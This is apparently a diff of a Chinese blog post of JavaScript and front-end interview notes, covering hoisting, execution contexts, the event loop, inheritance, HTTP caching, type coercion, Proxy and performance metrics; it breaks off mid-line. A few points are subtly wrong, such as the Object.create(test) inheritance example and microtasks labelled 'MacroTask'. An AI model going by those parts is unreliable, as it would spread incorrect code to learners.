-document.domain + iframe</p><hr><p>执行上下文和执行栈（调用栈）</p><p>JavaScript程序执行分2个阶段，预编译阶段和执行阶段，而执行上下文就是在执行阶段创建完成的</p><p>预编译阶段主要做一些预处理工作，例如创建变量对象（变量提升），执行阶段就会激活这些变量对象（赋值）</p><p>声明阶段会在编译时提升到最上面，当声明完成后，才会执行赋值操作，例如：</p><pre><code>var a = 1
-</code></pre><p>上面会被编译器处理为</p><pre><code>var a
-a = 1
-</code></pre><p>因此可以在编写时在未定义就使用该变量，改变编写时的位置（不再是从上往下依次执行），这就是变量提升</p><p>函数声明可以被提升，而且函数表达式不会被提升，例如：</p><pre><code>abc()
-function abc(){
-    console.log('hallo word')
-}
-xyz() // xyz is not a function，并不是这个不是函数，而且没有声明，因此这个没有得到提升
-var xyz = function(){
-    console.log('hallo hahaha')
-}
-</code></pre><p>只有声明本身被提升，赋值和其他操作并不会被提升，而且按照从上往下依次执行，提升只影响声明</p><p>声明提升，函数优先，例如：</p><pre><code>abc() // hallo word
-var abc
-abc = function(){
-    console.log('hallo hahaha')
-}
-function abc(){
-    console.log('hallo word')
-}
-</code></pre><p>可以看到abc变量最先出现，但是反而输出了hallo word，说明函数声明比变量声明提升的更早，变量abc因为重复声明，被忽略了</p><p>执行上下文：指的是抽象化JavaScript代码执行的环境，当JavaScript代码被执行的时候，都是在执行上下文中运行的</p><p>在JavaScript中有3种执行上下文，分别是全局执行，函数执行，Eval函数执行</p><p>全局：不在函数内部的代码都在全局执行上下文中，一个程序只有一个全局执行上下文</p><p>函数：当某个函数被调用时，为该函数创建一个函数执行上下文（如果被调用多次，会根据定义的顺序来执行（执行栈））</p><p>Eval函数：在eval函数内部执行的代码也有自己的执行上下文</p><p>执行栈（调用栈）：指的是一种存在后进先出（LIFO）的数据结构的栈，该栈被用来存储程序运行的时候被创建的全部执行上下文。在JavaScript编译代码的时候，创建一个全局的执行上下文，将这个执行上下文存储在当前执行栈中，只要当碰到函数被调用，再为该函数创建一个新的执行上下文并且存储在栈的顶部，然后执行在顶部的函数，函数执行完毕，该执行上下文从栈中弹出，轮到下一个执行上下文进行，一旦全部代码都执行完毕，全局执行上下文弹出</p><p>执行上下文会经历创建和执行俩个阶段，创建阶段会创建变量环境和词法环境，this绑定（在全局执行上下文中，this的值为全局对象，如果是浏览器的话，this为window对象，在函数执行上下文中，this取决于该函数怎么被调用的，如果是被一个对象调用的，那么this指向该对象，否则就是全局对象）</p><p>词法环境：一种规范类型，用来定义变量名或者函数名和实际对象的关联，一个词法环境有两个组件，分别是环境记录器（用来存储变量和函数声明的实际位置），外部环境的引用（可以访问父级词法环境）</p><p>词法环境有俩种类型：全局和函数，全局环境（全局执行上下文）是不存在有外部环境引用的，该环境拥有用户定义的全局变量，并且this执行全局对象。而在函数环境中，在函数内部定义的变量会被存储在环境记录器中，引用该环境的外部环境可能是全局，又或者是其他包含该函数的外部函数</p><p>环境记录器也是有俩种，分别是声明式（函数环境）和对象式（全局环境），声明式会存储变量，函数以及参数（还会传递arguments（存储索引和参数映射）和length（函数参数））。而对象式被用来定义出现在全局上下文中的变量和函数之间的关系</p><p>变量环境：在ES6中，只有使用var定义的变量才能使用变量环境来存储（let和const则是词法变量），在创建阶段，变量初始值为undefined（var）和未初始化（let和const）</p><p>JS底层运行机制：EC/VO/AO/GO/EC/ECS/Scope/Scope Chain/Lexical Environment/Variable Environment</p><p>JS执行环境（EC），变量对象（VO），活动对象（AO），GO对象，作用域（scope）作用域链（scope chain）</p><p>JS执行环境（EC），EC全称为Execution Context，又叫执行上下文</p><p>变量对象（VO），VO全称Variable Object，该对象存储了当前上下文中定义的变量和函数，在全局作用域中，变量对象就是全局对象</p><p>活动对象（AO），AO全称Activation Object，该对象在进入函数执行上下文时被创建，AO对象存储了该函数的参数变量</p><p>GO对象，GO全称Clobal Object，该对象存储了所有调属性和方法，并且在全局中创建一个window变量指向这个GO对象，因此GO对象实质上就是全局对象</p><p>ECS：ECS全称Execution Context Stack，就是执行上下文栈，又叫执行栈</p><p>Scope：作用域</p><p>Scope Chain：作用域链</p><p>Lexical Environment：词法环境</p><p>Variable Environment：变量环境</p><p>函数的运行：</p><p>编译阶段：创建一个堆内存，声明当前函数的作用域，作用域和执行上下文相关，将函数内部语句块以字符串的形式存储在堆内存中，函数名指向该函数的堆内存地址</p><p>执行阶段：创建函数执行上下文（私有），在函数执行上下文中存储活动对象（AO），初始化操作（初始化作用域链，this指向，arguments，形参赋值，变量提升），执行语句（调取堆内存中存储的字符串，以上下文的形式依次执行）</p><p>Scope Chain查找机制：检查在执行阶段的变量是否为私有变量，如果都是私有，那么直接操作私有，如果不是私有的，按照Scope Chain，向上级作用域查找，一直查找到全局作用域为止</p><hr><p>所谓的变量提升只是在编译阶段识别被创建的变量，在这个阶段中使用var和function定义的变量初始化的值被设置为undefined，而使用let和const定义的变量还是未初始化（暂时不能使用的状态），直到定义被执行才被初始化</p><p>JavaScript是即时编译即时执行的机制，在执行一个函数之前，都会立刻编译该函数，然后创建执行上下文，在执行上下文中有个存储空间叫变量环境，这个环境存储着由var定义的变量，因为var定义的变量都在编译的时候已经存储了，在执行时的任何时间段都是可以访问调用的</p><p>而使用const和let定义的变量，在编译完成的时候，执行之前，将变量名存储在词法环境中，在没有声明该变量之前是会存在暂时性死区（变量已经被上下文记录，但是不能使用）</p><hr><p>Eventloop（事件循环）：事件循环实质上就是避免js单线程的时候出现堵塞，也是异步的原理</p><p>a programming construct that waits for and dispatches events or messages in a program.</p><p>Event Loop 任务分为两种，分别是宏任务（MacroTask）和微任务（MacroTask）</p><p>所有同步任务会根据顺序被主线程依次执行，执行栈（execution context stack），而除主线程外，还有一个任务队列（task queue），当碰到异步任务完成了，任务队列就会告诉主线程，某个异步任务可以执行，这时这个异步任务才会进入主线程执行（异步任务结束等待，进入执行栈，开始执行），主线程反复操作，这就是事件循环</p><p>宏任务：整体代码script，setTimeout和setInterval，I/O，UI Rendering（ui渲染），setImmediate（node的特性，浏览器已抛弃该API），requestAnimationFrame，事件</p><p>微任务：Promise.then，process.nextTick（node的特性），MutationObserver</p><p>在浏览器上：JavaScript会有一个主线程和执行栈（call-stack），全部任务都会放到执行栈等主线程执行</p><p>js的执行栈是后进先出的数据结构，当某一个函数执行时，将插入到栈的顶部，当执行完毕，从栈顶部弹出。一直到栈被清空，执行栈的所有同步任务执行完成，开始查看任务队列，执行那些异步任务（只有当主线程空了，才能执行任务队列里面的）</p><p>而任务队列是先进先出的数据结构，只有异步任务才能进入任务队列（同步任务在主线程上排队），异步任务必须指定回调函数，主线程执行异步任务实质上就是在执行对应的回调函数。当某个异步任务完成，就会向任务队列添加一个事件，在顶部的任务，会优先被主线程处理</p><p>例如：</p><pre><code>new Promise((a) =&gt; a())
-    .then(() =&gt; console.log(&quot;微任务1&quot;))
-    .then(() =&gt; console.log(&quot;微任务2&quot;))
-console.log('hallo 我是同步任务1')
-void setTimeout(() =&gt; {
-    console.log(&quot;我是定时任务1 宏任务&quot;)
-}, 1000)
-void setTimeout(() =&gt; {
-    console.log(&quot;我是定时任务2 宏任务&quot;)
-}, 0)
-void setTimeout(() =&gt; {
-    console.log(&quot;我是定时任务3 宏任务&quot;)
-})
-setTimeout(function() {
-    console.log('我是宏任务，good bye')
-}, 1000)
-Promise.resolve()
-    .then(() =&gt; console.log(&quot;微任务3&quot;))
-    .then(() =&gt; console.log(&quot;微任务4&quot;))
-    .then(() =&gt; console.log(&quot;微任务5&quot;))
-console.log('hi 我是同步任务2')
-</code></pre><p>微任务列表是先进先出，先进入的，就先执行</p><p>运行过程：同步任务执行（主线程），当同步任务为null，检查任务队列是否为null，不为null，宏任务（script任务）进入执行栈，在主线程执行前进行判断，（微任务和宏任务都是异步任务），如果微任务队列不为null（script任务执行过程中遇到微任务，将微任务添加到微任务排列），优先执行微任务，当微任务都执行完毕，执行下一个宏任务</p><p>setTimeout定时器最小延迟时间为4ms，在4ms以内的定时都将视为同一个最小延迟时间，将根据先进先出处理</p><p>例如：</p><pre><code>setTimeout(function() {
-    console.log('hallo')
-}, 1)
-setTimeout(function() {
-    console.log('hhhh')
-}, 0)
-console.log('abcabc')
+document.domain + iframe</p><hr><p>执行上下文和执行栈（调用栈）</p><p>JavaScript程序执行分2个阶段，预编译阶段和执行阶段，而执行上下文就是在执行阶段创建完成的</p><p>预编译阶段主要做一些预处理工作，例如创建变量对象（变量提升），执行阶段就会激活这些变量对象（赋值）</p><p>声明阶段会在编译时提升到最上面，当声明完成后，才会执行赋值操作，例如：</p><pre><code>var a = 1
+</code></pre><p>上面会被编译器处理为</p><pre><code>var a
+a = 1
+</code></pre><p>因此可以在编写时在未定义就使用该变量，改变编写时的位置（不再是从上往下依次执行），这就是变量提升</p><p>函数声明可以被提升，而且函数表达式不会被提升，例如：</p><pre><code>abc()
+function abc(){
+    console.log('hallo word')
+}
+xyz() // xyz is not a function，并不是这个不是函数，而且没有声明，因此这个没有得到提升
+var xyz = function(){
+    console.log('hallo hahaha')
+}
+</code></pre><p>只有声明本身被提升，赋值和其他操作并不会被提升，而且按照从上往下依次执行，提升只影响声明</p><p>声明提升，函数优先，例如：</p><pre><code>abc() // hallo word
+var abc
+abc = function(){
+    console.log('hallo hahaha')
+}
+function abc(){
+    console.log('hallo word')
+}
+</code></pre><p>可以看到abc变量最先出现，但是反而输出了hallo word，说明函数声明比变量声明提升的更早，变量abc因为重复声明，被忽略了</p><p>执行上下文：指的是抽象化JavaScript代码执行的环境，当JavaScript代码被执行的时候，都是在执行上下文中运行的</p><p>在JavaScript中有3种执行上下文，分别是全局执行，函数执行，Eval函数执行</p><p>全局：不在函数内部的代码都在全局执行上下文中，一个程序只有一个全局执行上下文</p><p>函数：当某个函数被调用时，为该函数创建一个函数执行上下文（如果被调用多次，会根据定义的顺序来执行（执行栈））</p><p>Eval函数：在eval函数内部执行的代码也有自己的执行上下文</p><p>执行栈（调用栈）：指的是一种存在后进先出（LIFO）的数据结构的栈，该栈被用来存储程序运行的时候被创建的全部执行上下文。在JavaScript编译代码的时候，创建一个全局的执行上下文，将这个执行上下文存储在当前执行栈中，只要当碰到函数被调用，再为该函数创建一个新的执行上下文并且存储在栈的顶部，然后执行在顶部的函数，函数执行完毕，该执行上下文从栈中弹出，轮到下一个执行上下文进行，一旦全部代码都执行完毕，全局执行上下文弹出</p><p>执行上下文会经历创建和执行俩个阶段，创建阶段会创建变量环境和词法环境，this绑定（在全局执行上下文中，this的值为全局对象，如果是浏览器的话，this为window对象，在函数执行上下文中，this取决于该函数怎么被调用的，如果是被一个对象调用的，那么this指向该对象，否则就是全局对象）</p><p>词法环境：一种规范类型，用来定义变量名或者函数名和实际对象的关联，一个词法环境有两个组件，分别是环境记录器（用来存储变量和函数声明的实际位置），外部环境的引用（可以访问父级词法环境）</p><p>词法环境有俩种类型：全局和函数，全局环境（全局执行上下文）是不存在有外部环境引用的，该环境拥有用户定义的全局变量，并且this执行全局对象。而在函数环境中，在函数内部定义的变量会被存储在环境记录器中，引用该环境的外部环境可能是全局，又或者是其他包含该函数的外部函数</p><p>环境记录器也是有俩种，分别是声明式（函数环境）和对象式（全局环境），声明式会存储变量，函数以及参数（还会传递arguments（存储索引和参数映射）和length（函数参数））。而对象式被用来定义出现在全局上下文中的变量和函数之间的关系</p><p>变量环境：在ES6中，只有使用var定义的变量才能使用变量环境来存储（let和const则是词法变量），在创建阶段，变量初始值为undefined（var）和未初始化（let和const）</p><p>JS底层运行机制：EC/VO/AO/GO/EC/ECS/Scope/Scope Chain/Lexical Environment/Variable Environment</p><p>JS执行环境（EC），变量对象（VO），活动对象（AO），GO对象，作用域（scope）作用域链（scope chain）</p><p>JS执行环境（EC），EC全称为Execution Context，又叫执行上下文</p><p>变量对象（VO），VO全称Variable Object，该对象存储了当前上下文中定义的变量和函数，在全局作用域中，变量对象就是全局对象</p><p>活动对象（AO），AO全称Activation Object，该对象在进入函数执行上下文时被创建，AO对象存储了该函数的参数变量</p><p>GO对象，GO全称Clobal Object，该对象存储了所有调属性和方法，并且在全局中创建一个window变量指向这个GO对象，因此GO对象实质上就是全局对象</p><p>ECS：ECS全称Execution Context Stack，就是执行上下文栈，又叫执行栈</p><p>Scope：作用域</p><p>Scope Chain：作用域链</p><p>Lexical Environment：词法环境</p><p>Variable Environment：变量环境</p><p>函数的运行：</p><p>编译阶段：创建一个堆内存，声明当前函数的作用域，作用域和执行上下文相关，将函数内部语句块以字符串的形式存储在堆内存中，函数名指向该函数的堆内存地址</p><p>执行阶段：创建函数执行上下文（私有），在函数执行上下文中存储活动对象（AO），初始化操作（初始化作用域链，this指向，arguments，形参赋值，变量提升），执行语句（调取堆内存中存储的字符串，以上下文的形式依次执行）</p><p>Scope Chain查找机制：检查在执行阶段的变量是否为私有变量，如果都是私有，那么直接操作私有，如果不是私有的，按照Scope Chain，向上级作用域查找，一直查找到全局作用域为止</p><hr><p>所谓的变量提升只是在编译阶段识别被创建的变量，在这个阶段中使用var和function定义的变量初始化的值被设置为undefined，而使用let和const定义的变量还是未初始化（暂时不能使用的状态），直到定义被执行才被初始化</p><p>JavaScript是即时编译即时执行的机制，在执行一个函数之前，都会立刻编译该函数，然后创建执行上下文，在执行上下文中有个存储空间叫变量环境，这个环境存储着由var定义的变量，因为var定义的变量都在编译的时候已经存储了，在执行时的任何时间段都是可以访问调用的</p><p>而使用const和let定义的变量，在编译完成的时候，执行之前，将变量名存储在词法环境中，在没有声明该变量之前是会存在暂时性死区（变量已经被上下文记录，但是不能使用）</p><hr><p>Eventloop（事件循环）：事件循环实质上就是避免js单线程的时候出现堵塞，也是异步的原理</p><p>a programming construct that waits for and dispatches events or messages in a program.</p><p>Event Loop 任务分为两种，分别是宏任务（MacroTask）和微任务（MacroTask）</p><p>所有同步任务会根据顺序被主线程依次执行，执行栈（execution context stack），而除主线程外，还有一个任务队列（task queue），当碰到异步任务完成了，任务队列就会告诉主线程，某个异步任务可以执行，这时这个异步任务才会进入主线程执行（异步任务结束等待，进入执行栈，开始执行），主线程反复操作，这就是事件循环</p><p>宏任务：整体代码script，setTimeout和setInterval，I/O，UI Rendering（ui渲染），setImmediate（node的特性，浏览器已抛弃该API），requestAnimationFrame，事件</p><p>微任务：Promise.then，process.nextTick（node的特性），MutationObserver</p><p>在浏览器上：JavaScript会有一个主线程和执行栈（call-stack），全部任务都会放到执行栈等主线程执行</p><p>js的执行栈是后进先出的数据结构，当某一个函数执行时，将插入到栈的顶部，当执行完毕，从栈顶部弹出。一直到栈被清空，执行栈的所有同步任务执行完成，开始查看任务队列，执行那些异步任务（只有当主线程空了，才能执行任务队列里面的）</p><p>而任务队列是先进先出的数据结构，只有异步任务才能进入任务队列（同步任务在主线程上排队），异步任务必须指定回调函数，主线程执行异步任务实质上就是在执行对应的回调函数。当某个异步任务完成，就会向任务队列添加一个事件，在顶部的任务，会优先被主线程处理</p><p>例如：</p><pre><code>new Promise((a) =&gt; a())
+    .then(() =&gt; console.log(&quot;微任务1&quot;))
+    .then(() =&gt; console.log(&quot;微任务2&quot;))
+console.log('hallo 我是同步任务1')
+void setTimeout(() =&gt; {
+    console.log(&quot;我是定时任务1 宏任务&quot;)
+}, 1000)
+void setTimeout(() =&gt; {
+    console.log(&quot;我是定时任务2 宏任务&quot;)
+}, 0)
+void setTimeout(() =&gt; {
+    console.log(&quot;我是定时任务3 宏任务&quot;)
+})
+setTimeout(function() {
+    console.log('我是宏任务，good bye')
+}, 1000)
+Promise.resolve()
+    .then(() =&gt; console.log(&quot;微任务3&quot;))
+    .then(() =&gt; console.log(&quot;微任务4&quot;))
+    .then(() =&gt; console.log(&quot;微任务5&quot;))
+console.log('hi 我是同步任务2')
+</code></pre><p>微任务列表是先进先出，先进入的，就先执行</p><p>运行过程：同步任务执行（主线程），当同步任务为null，检查任务队列是否为null，不为null，宏任务（script任务）进入执行栈，在主线程执行前进行判断，（微任务和宏任务都是异步任务），如果微任务队列不为null（script任务执行过程中遇到微任务，将微任务添加到微任务排列），优先执行微任务，当微任务都执行完毕，执行下一个宏任务</p><p>setTimeout定时器最小延迟时间为4ms，在4ms以内的定时都将视为同一个最小延迟时间，将根据先进先出处理</p><p>例如：</p><pre><code>setTimeout(function() {
+    console.log('hallo')
+}, 1)
+setTimeout(function() {
+    console.log('hhhh')
+}, 0)
+console.log('abcabc')
 </code></pre><p>setTimeout()方法的返回值是整数，这个整数是该定时器的编号，可通过clearTimeout()方法来取消该定时器，例如clearTimeout(123)，假设该定时器编号为123</p><hr><p>DOM事件级别</p><p>DOM0 函数赋值到一个事件中（可以绑定多个同类型事件），例如onclick=function(){}或者在元素内添加事件</p><p>DOM2 使用监听，可以移除或者添加监听，例如addEventListener(&lsquo;click&rsquo;, test, false)</p><p>DOM3 在DOM2级基础上添加更多事件类型，例如键盘事件addEventListener(&lsquo;keyup&rsquo;, test, false)</p><p>DOM1因为没有定义事件相关的内容，所有没有DOM1级模型</p><p>捕获（从祖先元素捕捉到子元素，精确到目标元素）
 冒泡（从目标元素往上冒泡，一直到window元素）</p><hr><p>创建对象的方法</p><p>let a = {data: &ldquo;hallo word!!!&rdquo;}
 let b = new Object({data: &ldquo;hallo word!!!&rdquo;})
 let c = function(){this.data=&ldquo;hallo word!!!&rdquo;}
 let d = new c()
-let e = Object.create(a)</p><p>继承的方法</p><p>通过原型链继承</p><pre><code>function test(){
-    this.data = 123
-}
-function main(){
-    this.type='main'
-}
-main.prototype = new test() // main.prototype.__proto__ = test.prototype
-console.log(new main)
-</code></pre><p>缺点就是如果进行修改对象，那么其他通过其父类实例继承的对象，都会被修改(引用类型），而且也不能向父类构造函数传递参数</p><p>通过构造函数继承</p><pre><code>function test(){
-    this.data = 123
-}
-function main(){
-    test.call(this)
-    this.type='main'
-}
-console.log(new main)
-</code></pre><p>实质上是通过改变test的this指向，将其指向到main，这个只能继承父类构造函数的属性，不能继承原型链上的方法（prototype）</p><p>盗用构造函数（对象伪装/经典继承）</p><pre><code>function test(){
-    this.data = [123,666,&quot;hahahah&quot;]
-}
-function main(){
-    test.call(this)
-}
-let a = new main()
-let b = new main()
-a.data.push(&quot;hallo word&quot;)
-console.log(a,b)
-</code></pre><p>会发现a和b的data都是独享的，不会存在改变a，b也跟着改变，原理就是通过call改变this指向，指向当前的test，因为使用的call，还可以给父类传递参数，缺点就是无法复用父类方法，因为每次实例化，都要重新声明父类的方法</p><p>组合继承（伪经典继承，将原型链和盗用构造函数方式结合）</p><p>原理就是通过原型链继承父类的属性和方法，再用盗用构造函数继承实例的属性（可以确保方法可复用，每个实例都有自己的独享属性）</p><pre><code>function test(){
-    this.data = [123,666,&quot;hahahah&quot;]
-}
-function main(){
-    test.call(this)
-}
-main.prototype = new test()
-let a = new main()
-let b = new main()
-a.data.push(&quot;hallo word&quot;)
-console.log(a,b)
-</code></pre><p>通过盗用构造函数继承父类的data属性，然后通过原型链，继承父类的原型对象</p><p>缺点就是会调用2次test构造函数（分别是在new，call各调用一次），而且实例和原型都存在相同的属性和方法</p><p>原型式继承（实例继承）（直接给对象赋值给构造函数的原型）</p><pre><code>function test(data){
-    function hallo(){}
-    hallo.prototype = data
-    return new hallo()
-}
-</code></pre><p>寄生式继承</p><pre><code>function test(data){
-    let hallo = Object.create(data)
-    hallo.abc = function(){
-        console.log(this.name+this.pass)
-    }
-    return hallo
-}
-let data1 = {
-    name:&quot;root&quot;,
-    pass:&quot;hallo&quot;
-}
-let main = test(data1)
-main.abc()
-</code></pre><p>通过接收参数，该参数为被继承的对象，main是基于data1对象创建一个新对象，这个对象有data1的属性和方法，也有自己的abc方法，继承父类之后，进行增强了</p><p>寄生式组合继承（组合继承加寄生式继承）</p><pre><code>function test() {
-    this.data = [123,666,&quot;hahahah&quot;]
-}
-function main() {
-    test.call(this)
-}
-main.prototype = Object.create(test)
-let a = new main()
-let b = new main()
-a.data.push(&quot;hallo word&quot;)
-console.log(a,b)
-</code></pre><p>extends继承（es6继承，通过extends关键字继承）</p><pre><code>class test {
-    constructor(name=&quot;root&quot;,data=&quot;hallo&quot;) {
-        this.name = name
-        this.data = data
-    }
-    hallo(){
-        console.log(`${this.name} ${this.data}`)
-    }
-}
-class main extends test {
-    constructor(name=&quot;admin&quot;,data=&quot;hahaha&quot;) {
-        super(name,data)
-    }
-    hallo(){
-        super.hallo()
-    }
-}
-let abc=new main('user')
-abc.hallo()
-</code></pre><p>通过extends关键字创建父类的实例this，然后在子类class中修改this，必须通过父类构造函数来得到父类的属性和方法（super方法）</p><hr><p>浏览器缓存的分类</p><p>强缓存（本地缓存，不用请求，直接拿来用）， expires和control</p><p>expires是http1.0定义的缓存字段，expires字段为资源的过期时间，这个字段是时间戳，这个会导致客户端时间和服务端时间之间时间差问题（因为请求的时候使用的客户端的事件）</p><p>control（cache-control）是http1.1中定义的字段，用来解决expires存在的问题，该字段是一个时间长度，表示多少秒后过期（相对于客户端），当expires和cache-control都存在时，cache-control优先级高</p><p>协商缓存（当拿到该缓存，会向服务端进行确认，确认其是否要用，缓存有没有更新），last-modified和etag</p><p>last-modified会在获取到某资源的时候记录资源的修改时间，当第二次获取到的时候，会对比时间，精确到秒（1秒内的更新，不会被记录），如果对比修改时间，发现没有修改，那么继续使用该缓存并且返回304，如果被修改那么重新获取，并且记录新时间，而且存在时间上修改了，但是内容没有修改的问题，etag就是解决这个的</p><p>etag会基于内容编码生成唯一的标识，只要内容不一样，标识就一定不一样，判断是否被修改，直接判断标识是否一致，一致则直接使用缓存并且返回304，不一致就是获取新的缓存，并且记录etag值</p><hr><p>因为JavaScript没有类型声明，可以进行类型的强制转换，手动转换（明确转换）的叫显式转换类型，自动转换（隐式，由编译器自动处理）的叫隐式转换类型</p><p>Object.prototype.toString()返回表示该对象的字符串</p><p>Object.prototype.valueOf()返回对象的原始值</p><p>Symbol.toPrimitive效果和valueOf()类似，只是优先级比valueOf()高，并且接受一个hint参数（该参数被用来指定要转换的原始值的具体类型）</p><p>隐式转换过程：优先调用对象的valueOf()方法，返回原始值，如果不能处理则调用对象的toString()方法转换为字符串，进行字符串拼接，否则报错（cannot convert object to primitive value）</p><p>隐式类型转换例子：</p><pre><code>true + 1 === 2 // true
-</code></pre><p>布尔值加整数，居然绝对等于（类型和值都等于）一个整数，这说明类型已经被转换了</p><p>+加号不但可以用来算术运算，还可以做字符串拼接</p><p>字符串加数字，数字自动转字符串</p><pre><code>&quot;123&quot; + 666 // '123666'
-</code></pre><p>数字减字符串，字符串自动转数字，如果字符串不是纯数字，那么输出为NaN</p><pre><code>123 - &quot;100&quot; // 23
-</code></pre><p>相等</p><p>==，当类型不相同时，进行类型转换，再进行比较</p><p>===，首先进行判断类型是否相同</p><pre><code>undefined==null // true
-
-&quot;0&quot; == false // true
-</code></pre><p>比较</p><pre><code>&quot;3&quot; &gt; &quot;10&quot; // true
-</code></pre><p>字符串和字符串比较就算了，为啥字符串3大于字符串10，类型转换了也不应该啊</p><p>实质上并没有做类型的转换，因为其比较的时候调用了charCodeAt()方法，返回值是整数，这个整数表示则该字符的Unicode编码</p><p>所以实质上是"3".charCodeAt() > &ldquo;10&rdquo;.charCodeAt()</p><p>表示"3"的Unicode编码为51，&ldquo;10"的为49</p><p>charCodeAt()方法可以将字符串转Unicode编码，该方法必须要写index参数，如果没写默认参数值为0</p><pre><code>let abc = &quot;你好&quot;
-console.log(abc.charCodeAt(1)) // 22909 该值为&quot;好&quot;的Unicode编码
-</code></pre><p>同样也可以将Unicode编码转字符串fromCharCode()方法</p><pre><code>let a = String.fromCharCode(51)
-console.log(a) // 3
-console.log(typeof(a)) // 'string'
-</code></pre><hr><p>proxy对象属于一种元编程（meta programming），proxy可以拦截对象，外部进行调用该对象时，必须通过这个拦截，这个拦截器可以对外部的调用进行过滤和查找赋值等等，另外Vue3.0的数据双向绑定（响应式）实现原理就是proxy</p><p>ES6提供了Proxy构造函数，来new Proxy()实例，Proxy实例具备有2个参数，分别是target, handler</p><p>let proxy = new Proxy(target, handler)</p><p>target参数是要拦截的对象，handler参数为拦截后的行为（也是对象）</p><p>Proxy支持13种拦截行为，分别是：</p><p>get()：读取属性</p><p>set()：修改属性</p><p>has()：in操作符，判断某个属性是否存在于这个对象之中</p><p>apply()：当Proxy拦截函数时</p><p>construct()：当使用new关键字时</p><p>deleteProperty()：当使用delete删除对象的属性时</p><p>defineProperty()：当使用Object.defineProperty修改属性修饰符时</p><p>ownKeys()：当使用Object.getOwnPropertyNames()，Object.getOwnPropertySymbols()，Object.keys()，Reflect.ownKeys()获取对象的信息时</p><p>getPrototypeOf()：当使用Object.getPrototypeOf()读取对象的原型信息时</p><p>setPrototypeOf()：当使用Object.setPrototypeOf()设置对象的原型时</p><p>isExtensible()：当使用Object.isExtensible()判断对象是否可以添加新的属性时（Reflect.isExtensible()操作也会触发）</p><p>preventExtensions()：当使用Object.preventExtensions()设置对象不能添加新的属性时</p><p>getOwnPropertyDescriptor()：当使用Object.getOwnPropertyDescriptor()获取该对象的自有属性（自有属性指该对象所有，不需要通过原型链获取该属性）的属性描述时</p><p>这里只写最常用的get()和set()</p><pre><code>const abc = {
-    name: &quot;chenjunlin&quot;,
-    pass: &quot;123456789&quot;
-}
-const proxy1 = new Proxy(abc, {
-    get(target, property, receiver) {
-        if (property in target){
-            return target[property]
-        }else{
-            return '读取失败'
-        }
-    },
-    set(target, property, value, receiver){
-        
-        target[property] = value
-        console.log(`${property}属性被设置值`, value)
-        
-        
-    }
-})
-console.log(proxy1.name)
-console.log(proxy1.pass)
-console.log(proxy1.hallo)
-proxy1.name = &quot;root&quot;
-console.log(proxy1.name)
-proxy1.pass = &quot;123&quot;
-console.log(proxy1.pass)
-</code></pre><p>target是拦截对象，property是被拦截获取到的属性，value是新的属性值，receiver是Proxy对象本身（指向this对象，如果是继承的，那么该值为继承的Proxy对象）</p><p>Reflect是提供拦截对象操作的方法，其不是构造函数，不可通过new创建和调用Reflect，其拦截的方法和Proxy相同</p><p>例如：</p><pre><code>const obj = {
-    name: &quot;root&quot;,
-    pass: &quot;123&quot;
-}
-Reflect.get(obj, &quot;name&quot;)
-</code></pre><hr><p>Babel编译工作</p><p>Babel的核心功能就是编译ESNext，进行降级，保证兼容性，编译的核心就是通过AST（语法抽象树）对源码进行分析，并且转换为目标代码，解析成AST是方便计算机理解源码是干什么的，而Babel解析器是Babylon</p><p>像解析let const时，直接转换为var，并且判断编译阶段的const是否存在二次赋值，如果存在就是报错，块级作用域通过立即调用函数实现（例如匿名函数），针对暂时性死区，使用JavaScript严格模式实现</p><hr><p>前端性能指标</p><p>首次绘制时间（FP）：页面发生第一次绘制时间，首次不同于上次跳转之间的内容</p><p>首次有内容绘制时间（FCP）：浏览器渲染完成DOM的部分内容（可以是文本，也是可以是其他带内容的（或者说有视觉效果的））的时间</p><p>首次有意义绘制时间（FMP）：页面关键内容的绘制时间（根据不同需求而定）</p><p>首屏时间：完成整个屏幕内容渲染的时间（不包括滚动）</p><p>用户可交互时间：用户可与页面进行交互的时间，DOMReady（html元素转换为DOM树完成（DOMContentLoaded事件），不包括加载外部文件）</p><p>视觉稳定性指标（CLS，Cumulative Layout Shift）：指页面从一帧到另一帧时，不稳定元素的偏移量（也叫布局偏移量）</p><p>FID（First Input Delay，首次输入延迟）</p><p>PSI（Perceptual Speed Index，视觉变化率）</p><p>FPS（Frames Per Second，每秒显示帧数）</p><p>白屏时间：从页面发送刷新或者跳转后到页面出现第一个字符的时间</p><p>白屏时间FP = domLoading - navigationStart</p><p>可能导致白屏时间过长的原因：dns查询，tcp请求连接，服务端响应速度，关键资源下载，解析，渲染，资源体积</p><p>首屏时间（服务端渲染应用用DOMContentLoaded时间，客户端渲染应用MutationObserver）：白屏时间加渲染时间</p><p>MutationObserver接口可以监视DOM元素，因为客户端渲染应用是在客户端通过ajax请求的方式进行显示内容的，DOMContentLoaded时间并不能实质表示客户端渲染应用的首屏时间，应该监听某个最后的DOM元素，当其加载完成了，这个时间才算首屏时间，当然MutationObserver并不能计算图片加载时间，因为图片加载是异步的</p><p>首屏时间数据：平均值，分位值（例如P99，将全部首屏时间排序，第99位的首屏时间就是P99，除了P99，还有P50,P90）,秒开率（1秒内打开的用户的比率，还有1.5秒开率，2秒开率）</p><p>首屏时间优化：懒加载（加载关键内容，延迟加载其他内容，按需加载），缓存（减少重复请求），离线化，请求并行化（域名散列或者HTTP2.0多路复用）</p><p>DNS查询优化：浏览器提供预获取DNS接口，可在浏览器建立DNS缓存，减少DNS查询所耗费的时间</p><p>DNS查询优先级：浏览器缓存>hosts>路由器缓存>DNS服务器缓存（ISP）>根服务器缓存</p><p>Chrome浏览器默认缓存60秒，如果之间访问过了该域名，那么在60秒内将不会重新获取DNS缓存，而是直接调用浏览器的DNS缓存，减少DNS查询耗费的时间</p><p>开启DNS预解析</p><p>尝试对a.xiaochenabc123.test.com域名做预解析（不能用来对当前域名做预解析，因为当得到这个资源时，早就得到当前域名的解析IP）</p><p>预连接</p><p>预加载（会提升该资源加载的优先级，加载和执行是不同的，加载完成并不会执行，需要手动执行）</p><p>预判加载（会降低该资源加载的优先级，因此只有当空闲时才会加载这个）</p><p>HTTP请求优化：解决请求阻塞（请求阻塞（Stalled）是浏览器为了确保访问速度，对同一域名下的资源限制在一定的请求数，超过该请求数就会阻塞）</p><p>以目前版本的Chrome浏览器来说，其最大请求数是6个（http1.1），超过6个请求数时，只能等待前面的请求后再进行请求，请求阻塞只针对同一域下的，只需要将资源用不同的域名散列（实质请求数限制将表示为域名数 * 浏览器最大请求数）</p><p>例如将某个静态资源服务器，分成多个域名，例如，a.xiaochenabc123.test.com，b.xiaochenabc123.test.com，那么请求数就是可以达到12个</p><p>资源Gzip压缩，避免301和302重定向，骨架屏</p><p>性能数据获取</p><p>window.performance</p><pre><code>const TimeData= 